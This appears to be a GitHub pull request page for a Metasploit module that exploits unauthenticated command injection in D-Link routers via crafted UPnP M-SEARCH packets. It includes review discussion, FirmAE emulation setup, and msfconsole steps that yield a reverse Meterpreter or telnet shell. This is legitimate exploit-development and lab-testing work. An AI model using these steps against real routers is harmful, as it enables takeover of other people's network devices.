D-Link Router UPnP unauthenticed LAN RCE via a crafted M-SEARCH packet #18463
Conversation
There was a problem hiding this comment.
Thank you @h00die-gr3y for this great module! I just left a few comments and suggestions. I also tested using firmware DIR-865L_REVA_FIRMWARE_1.07.B01 with FirmAE and it works as expected.
So, I found two modules that are exploiting the same vulnerability:
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb
I would prefer not having a new module for this, but, instead, merging the functionalities you added in this PR to the generic dlink_upnp_msearch_exec.rb module. The dlink_dir859_exec_ssdpcgi.rb module could also be merged into the same module and marked as deprecated, since it looks like it targets a firmware that the generic module should also target (this will need to be tested to make sure).
@cdelafuente-r7 I never updated an existing module. Can you quickly explain how to do this? |
|
I think you can keep this PR and do all the modifications in your branch. Make all the changes you need to the module files and documentations, remove these two new files you added originally ( Optional: you might want to squash the commits if you want to keep just one commit. |
documentation/modules/exploit/linux/upnp/dlink_msearch_unauth_lan_rce.md
Outdated
Show resolved
Hide resolved
|
Re updating existing modules: this is a very good time to DRY code, move commonly used interfaces into /lib, and clean up impl & api while doing so. Module code can be a bit more rough but the portage to lib generally "imortalizes" and polishes it on the way. |
|
Add another target DIR-845L. |
There was a problem hiding this comment.
Thank you @h00die-gr3y for updating this. I left just a few minor comments before it lands. Also, would you mind deprecating the module https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb following this documentation? I believe this one will also target DIR859 firmware?
I was only able to test the DIR-865L_REVA_FIRMWARE_1.07.B01 firmware. It looks like legacyfiles.us.dlink.com is not accessible anymore and I wasn't able to download the DIR-300 and DIR-645 firmwares to make sure it is still compatible with the original module implementation.
Try this link for the DIR-645. Note: UPDATE: Using this link for DIR-300 and download 2.15 and 2.14 rev B. These versions will at least give you a working |
|
Thanks @h00die-gr3y for updating this. Everything looks good to me. I just updated the deprecation date and message in an additional commit. The date is one year from now and the message is: I'll go ahead and land it. Thanks again for your contribution. Example outputs
|
cdelafuente-r7
added
the
rn-modules
cdelafuente-r7
added
rn-enhancement
Release NotesThis updates the |
This vulnerability is based on an old theme that was discovered in 2013 by
Zach Cutlipand explained in his blog The Shadow File. It is based on the infamousUPnPattack where a command injection vulnerability exists in multiple D-Link network products, allowing an attacker to inject arbitrary command to theUPnPvia a crafted M-SEARCH packet.Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900 and an attacker can perform a remote command execution by injecting the payload into the
Search Target(ST) field of the SSDP M-SEARCH discover packet.Ideally, to test this module, you would need a vulnerable D-Link device. However, by downloading the firmware and install and use
FirmAEto emulate the router, we can simulate the router and test the vulnerable endpoint.This module has been tested on:
Installation steps to emulate the router firmware with FirmAE
FirmAEon your Linux distribution using the installation instructions provided here.binwalkmight need to be able to handle a sasquatch filesystem which requires a bit of additional installation and compilation steps that you can find here. Please do not forget to run this after yourFirmAEinstallation otherwise you will not be able to extract the firmware.DIR-865L_REVA_FIRMWARE_1.07.B01.ZIPfor the demonstration../init.shto initialize and start the Postgress database../run.sh -d d-link /root/FirmAE/firmwares/DIR-865L_REVA_FIRMWARE_1.07.B01.ZIPpingthe network address 192.168.0.1 from your host and run anmapcommand to check the services (HTTP TCP port 80 and UPNP UDP port 1900)You are now ready to test the module using the emulated router hardware on IP address 192.168.0.1.
Verification
msfconsoleuse exploit/linux/upnp/dlink_upnp_msearch_execset rhosts <ip-target>set rport 1900set http_port 80set lhost <ip-attacker>set target <0=Unix Command, 1=Linux Dropper>exploityou should get a
shellorMeterpreterScenarios
FirmAE D-Link DIR-865L Router Emulation Unix Command - cmd/unix/bind_busybox_telnetd
FirmAE D-Link DIR-865L Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp
Limitations
Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads when using the Linux Dropper target. Some D-Link devices do not have the
wgetcommand so configureechoas cmd-stager flavor with the commandset CMDSTAGER::FLAVOR echo.